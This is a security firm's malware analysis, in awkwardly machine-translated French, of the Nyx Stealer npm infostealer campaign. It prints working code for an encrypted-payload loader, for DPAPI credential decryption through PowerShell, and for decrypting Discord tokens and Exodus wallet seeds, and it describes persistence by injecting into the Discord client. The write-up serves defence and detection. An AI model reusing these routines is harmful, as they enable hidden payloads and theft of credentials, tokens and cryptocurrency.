TL; DR
L'équipe de recherche en sécurité de Xygeni Nous avons identifié une campagne sophistiquée de vol d'informations npm diffusée par le biais de deux paquets malveillants : consolelofy et autobot-lofy.
La dernière version (consolelofy@1.3.0) intègre une charge utile chiffrée AES de 216 Ko qui se déchiffre lors de l'exécution et s'exécute via vm.runInNewContext(). Étant donné que la logique malveillante est entièrement chiffrée, les analyseurs statiques s'appuyant sur l'inspection des chaînes de caractères ne peuvent observer son comportement qu'au moment de l'exécution.
Une fois déchiffrée, la charge utile, marquée en interne Voleur de Nyx, cibles:
- jetons d'authentification Discord
- Plus de 50 magasins d'identifiants de navigateur
- Plus de 90 extensions de portefeuilles de cryptomonnaies
- Sessions Roblox, Instagram, Spotify, Steam, Telegram et TikTok
- persistance du client de bureau Discord
Les 20 versions des deux packages ont toutes été signalées et confirmées comme malveillantes.
Aperçu technique de ce voleur d'informations npm
Contrairement aux logiciels malveillants traditionnels installés lors de l'installation, cette campagne repose sur un d'exécution modèle de décryptage.
Il y a:
- Aucune malice
preinstallorpostinstallhooks - Aucun appel réseau évident lors de l'installation
- Aucune logique de collecte d'identifiants en clair
Le code malveillant s'active lors de l'importation du module. L'intégralité du code est chiffrée et ne se matérialise en mémoire qu'à l'exécution.
Cette conception permet précisément d'éviter la détection lors de l'installation du paquet.
Comment ce voleur d'informations npm s'exécute-t-il réellement ?
Avant d'analyser ce que vole Nyx Stealer, nous devons comprendre comment cela se déroule.
La logique malveillante de ce voleur d'informations npm suit un schéma constant :
Un petit chargeur déchiffre une charge utile chiffrée importante et l'exécute dynamiquement dans un contexte de machine virtuelle Node.js.
Cette conception est délibérée. L'attaquant ne se contente pas de dissimuler des fonctionnalités derrière une simple obfuscation, il… suppression complète du code malveillant de la visibilité statique.
Modèle d'exécution de haut niveau
De manière générale, le wrapper remplit quatre fonctions :
- Génère une clé AES à partir d'une phrase de passe codée en dur en utilisant SHA-256
- Déchiffre un texte chiffré volumineux encodé en hexadécimal à l'aide d'AES-256-CBC
- Exécute le code JavaScript déchiffré en utilisant
vm.runInNewContext() - Fournit un environnement d'exécution isolé qui expose néanmoins des primitives d'exécution puissantes.
Résumé des techniques de base
| Composant | Configuration / Valeur |
|---|---|
| Algorithme | AES-256-CBC |
| Dérivation de clé | SHA-256 (phrase de passe) |
| Vecteur d'initialisation (IV) | 16 octets de 0x00 |
| Internationaux | vm.runInNewContext(déchiffré, sandbox) |
Point crucial, le bac à sable passe par :
requireprocessBuffer- minuteries
- exporte le module
Cela signifie que la charge utile déchiffrée conserve l'intégralité de ses capacités à :
- Processus de génération
- Lire et écrire des fichiers
- Effectuer des appels réseau
- Modifier les applications locales
Il ne s'agit pas d'une machine virtuelle à accès restreint. C'est une machine virtuelle utilisée comme trampoline d'exécution.
Modèle de chiffrement en temps réel (mécanisme d'exécution principal)
Le chargeur est petit.
Le corps malveillant ne l'est pas.
Voici le modèle d'exécution trouvé dans le package :
const crypto = require('crypto');
const vm = require('vm');
function decryptAndExecute(encryptedHex, passphrase) {
const key = crypto.createHash('sha256')
.update(passphrase)
.digest();
const iv = Buffer.alloc(16, 0);
const decipher = crypto.createDecipheriv('aes-256-cbc', key, iv);
let decrypted = decipher.update(encryptedHex, 'hex', 'utf8');
decrypted += decipher.final('utf8');
const sandbox = {
require,
module,
exports,
console,
process,
Buffer,
__dirname,
__filename,
setTimeout,
setInterval,
clearTimeout,
clearInterval
};
vm.runInNewContext(decrypted, sandbox);
}
Pourquoi est-ce important
La charge utile déchiffrée :
- Le pas existent en clair à l'intérieur du package npm
- Est invisible pour les simples
grepou analyse de chaînes statiques - Ne se matérialise en mémoire qu'à l'exécution.
- S'exécute avec toutes les fonctionnalités d'exécution de Node.js
Cette combinaison d'exécution AES + VM est un indicateur comportemental fort d'une npm infostealer tente de contourner l'inspection statique.
En d'autres termes:
Si vous analysez l'arborescence source du paquet, vous ne verrez aucun voleur de paquet.
Vous voyez un décrypteur.
Que se passe-t-il après le décryptage ?
Une fois exécuté, Nyx Stealer lance des vagues de collecte de données parallèles.
Vague 1 : Extraction des identifiants du navigateur
Le logiciel malveillant :
- Télécharge un environnement d'exécution Python depuis le CDN NuGet
- Installe des bibliothèques cryptographiques
- Extraits de magasins d'identifiants à base de chrome
- Déchiffre les secrets protégés par DPAPI
Au lieu de compiler des liaisons natives, il utilise PowerShell pour appeler directement l'API DPAPI de Windows.
function dpapiUnprotectWithPowerShell(dataBuf) {
const b64 = dataBuf.toString('base64');
const ps =
"Add-Type -AssemblyName System.Security;" +
"$b=[Convert]::FromBase64String('" + b64 + "');" +
"$p=[System.Security.Cryptography.ProtectedData]::Unprotect(" +
"$b,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser);" +
"[Console]::Out.Write([Convert]::ToBase64String($p))";
const cmd =
`powershell -NoProfile -ExecutionPolicy Bypass -Command "${ps}"`;
return Buffer.from(execSync(cmd, { encoding: 'utf8' }).trim(), 'base64');
}
Cette approche:
- Évite les artefacts de compilation
- Utilise les API de chiffrement natives de Windows
- S'intègre aux outils administratifs
Il s'agit d'un décryptage d'identifiants au niveau du système d'exploitation, et non d'une extraction de données.
Vague 2 : Décryptage des jetons Discord
Le voleur est conscient du protocole. Il comprend le format de jeton chiffré de Discord.
function decryptToken(encryptedToken, key) {
const tokenParts = encryptedToken.split('dQw4w9WgXcQ:');
const encryptedData = Buffer.from(tokenParts[1], 'base64');
const iv = encryptedData.slice(3, 15);
const ciphertext = encryptedData.slice(15, -16);
const tag = encryptedData.slice(-16);
const decipher = crypto.createDecipheriv('aes-256-gcm', key, iv);
decipher.setAuthTag(tag);
return decipher.update(ciphertext).toString('utf8');
}
Flux opérationnel :
- Extraire la clé principale de Discord
Local State - Déchiffrer la clé principale via DPAPI
- Déchiffrer les blocs de jetons AES-GCM
- Valider les jetons auprès de l'API Discord
- Enrichissez votre contenu avec Nitro, badges et informations de facturation.
Il ne s'agit pas d'un simple vol d'identifiants. Il s'agit d'un détournement de session prenant en compte le protocole.
Vague 3 : Ciblage des portefeuilles de cryptomonnaies
Le voleur d'informations npm énumère :
- Plus de 90 extensions de portefeuille pour navigateur
- 27 portefeuilles de bureau
- Chemins de portefeuille froid
- Fichiers de semences Exodus
Exemple de tentative de décryptage de la graine :
function decryptSeco(content, password) {
const key = crypto.pbkdf2Sync(password, 'exodus', 10000, 32, 'sha512');
const decipher = crypto.createDecipheriv(
'aes-256-gcm',
key,
content.slice(0, 12)
);
decipher.setAuthTag(content.slice(-16));
return Buffer.concat([
decipher.update(content.slice(12, -16)),
decipher.final()
]).toString('utf8');
}
En cas de succès, le vol des fonds est immédiat et irréversible.
Cela représente le vecteur de monétisation le plus avantageux de la campagne.
Persistance via injection de bureau Discord
Après avoir récupéré les identifiants, Nyx Stealer tente de s'implanter durablement en modifiant le système local. Discord client.
Cible:
%LOCALAPPDATA%\Discord*\app-*\modules\discord_desktop_core\index.js
Séquence opérationnelle
Le voleur d'informations effectue les étapes suivantes :
- Met fin aux processus Discord en cours d'exécution
- Localise les variantes de Discord installées (Stable, Canary, PTB)
- Écrase
discord_desktop_core/index.js - Injecte une logique de webhook contrôlée par l'attaquant
- Redémarre Discord
Cela garantit que les futures sessions Discord divulguent automatiquement de nouveaux jetons d'authentification.
Il est important de noter que cette persistance ne repose ni sur des tâches planifiées ni sur des modifications du registre. Elle exploite la modification du code au niveau de l'application, une approche plus discrète.
Même si le paquet npm malveillant est supprimé ultérieurement, le client Discord reste compromis.
Comparaison technique : Selfbot légitime vs Infostealer de npm
| Composant | Bibliothèque légitime | Nyx npm Infostealer |
|---|---|---|
| Chiffrement | Aucun | Charge utile entièrement chiffrée AES |
| Machine virtuelle d'exécution | Pas nécessaire | vm.runInNewContext efficace |
| Accès aux informations d'identification | API Discord uniquement | Navigateur, portefeuilles, DPAPI |
| Téléchargements externes | Non | Environnement d'exécution Python via NuGet |
| Persistence | Non | Injection du client Discord |
| Monétisation | Automatisation des bots | revente de certificats |
La couche de chiffrement à elle seule distingue déjà cette campagne d'une version dérivée open source classique.
Un bot Discord légitime n'a aucune raison de chiffrer l'intégralité de son code source, d'exécuter PowerShell pour accéder à l'API de protection des données (DPAPI), de télécharger des environnements d'exécution externes ou de modifier le fonctionnement interne d'une application de bureau. Lorsque ces fonctionnalités apparaissent dans une dépendance censée automatiser les interactions Discord, l'incohérence architecturale devient flagrante.
Du point de vue de l'enquête, ce voleur d'informations npm laisse des traces à plusieurs niveaux. Cependant, les indicateurs les plus fiables ne sont ni les URL codées en dur ni les chemins de fichiers spécifiques, car ceux-ci peuvent changer d'une version à l'autre. Ce sont plutôt les éléments structurels qui constituent les signaux les plus fiables.
Au niveau du paquet, le signal d'alarme le plus important est la combinaison d'une charge utile chiffrée volumineuse et d'un wrapper de déchiffrement d'exécution qui s'exécute immédiatement via vm.runInNewContext()Bien que le chiffrement en lui-même ne soit pas intrinsèquement malveillant, l'utilisation du déchiffrement AES suivie d'une exécution dynamique de machine virtuelle au sein d'un utilitaire Discord est hautement anormale.
Au niveau de l'hôte, les comportements suspects incluent une activité de déchiffrement DPAPI inattendue, le lancement de processus à partir d'un contexte de dépendance Node.js et la modification de fichiers d'application locaux qui ne devraient jamais être altérés par des bibliothèques tierces. De même, au niveau du réseau, une communication sortante de type webhook initiée par une dépendance de développement constitue une autre anomalie significative.
En d'autres termes, la surface de détection ne constitue pas un indicateur unique de compromission. C'est la corrélation entre le chiffrement, l'exécution en temps réel, l'accès aux identifiants et le comportement persistant qui révèle la menace.
Détection et atténuation avec Xygeni
Ce voleur d'informations npm a été identifié par Alerte précoce contre les logiciels malveillants (MEW) de Xygeni par le biais d'une corrélation comportementale à plusieurs niveaux plutôt que d'une simple correspondance de signatures.
Au lieu de rechercher des chaînes de caractères malveillantes connues, MEW évalue les anomalies structurelles dans l'ensemble de l'arborescence source. Dans ce cas précis, la détection a été rendue possible par la convergence de plusieurs signaux : une routine de déchiffrement AES intégrée au point d'entrée du module, une exécution immédiate dans un contexte de machine virtuelle et une inadéquation manifeste entre les capacités et l'intention.
Il est important de noter qu'aucun de ces signaux, pris isolément, ne prouve une intention malveillante. Cependant, leur analyse conjointe révèle une tentative de dissimulation du comportement en cours d'exécution. Cette approche par couches réduit considérablement les faux positifs tout en identifiant avec certitude les menaces pesant sur la chaîne d'approvisionnement.
De plus, ce cas illustre pourquoi l'inspection lors de l'installation est insuffisante. La logique malveillante ne réside pas dans les scripts de cycle de vie. Elle s'active uniquement après le chargement du module et n'est visible qu'une fois déchiffrée en mémoire. Par conséquent, une défense efficace exige une analyse prenant en compte le chiffrement, la reconnaissance des schémas comportementaux et une surveillance continue des dépendances, au-delà des événements d'installation.
La suppression dans le registre est réactive. L'analyse en temps réel est préventive.
Pourquoi ce voleur d'informations npm est important
Nyx Stealer représente une évolution structurelle des logiciels malveillants basés sur npm.
Historiquement, de nombreux logiciels malveillants s'appuyaient sur des scripts d'installation visibles ou sur des points d'accès évidents pour l'exfiltration d'identifiants. À l'inverse, cette campagne chiffre sa charge utile, s'exécute en différé, exploite des API légitimes du système d'exploitation et s'implante durablement au sein d'applications de confiance.
Par conséquent, l'attaquant n'a pas besoin d'exploiter directement l'infrastructure npm. L'attaque réussit car l'installation des dépendances repose sur la confiance. Les développeurs présument qu'importer une bibliothèque est une opération sûre, surtout lorsqu'elle se présente comme une version dérivée plausible d'un outil populaire.
À mesure que les écosystèmes se développent et que les forks prolifèrent, cette frontière de confiance implicite devient une surface d'attaque de plus en plus attrayante. Par conséquent, se défendre contre les voleurs d'informations npm modernes exige de reconnaître les schémas architecturaux plutôt que de rechercher des chaînes de caractères statiques.
En fin de compte, cette campagne renforce une leçon essentielle dans software supply chain securityLes menaces les plus dangereuses ne sont pas celles qui paraissent malveillantes au premier abord, mais celles qui semblent structurellement légitimes jusqu'à ce que l'exécution révèle leur véritable comportement.




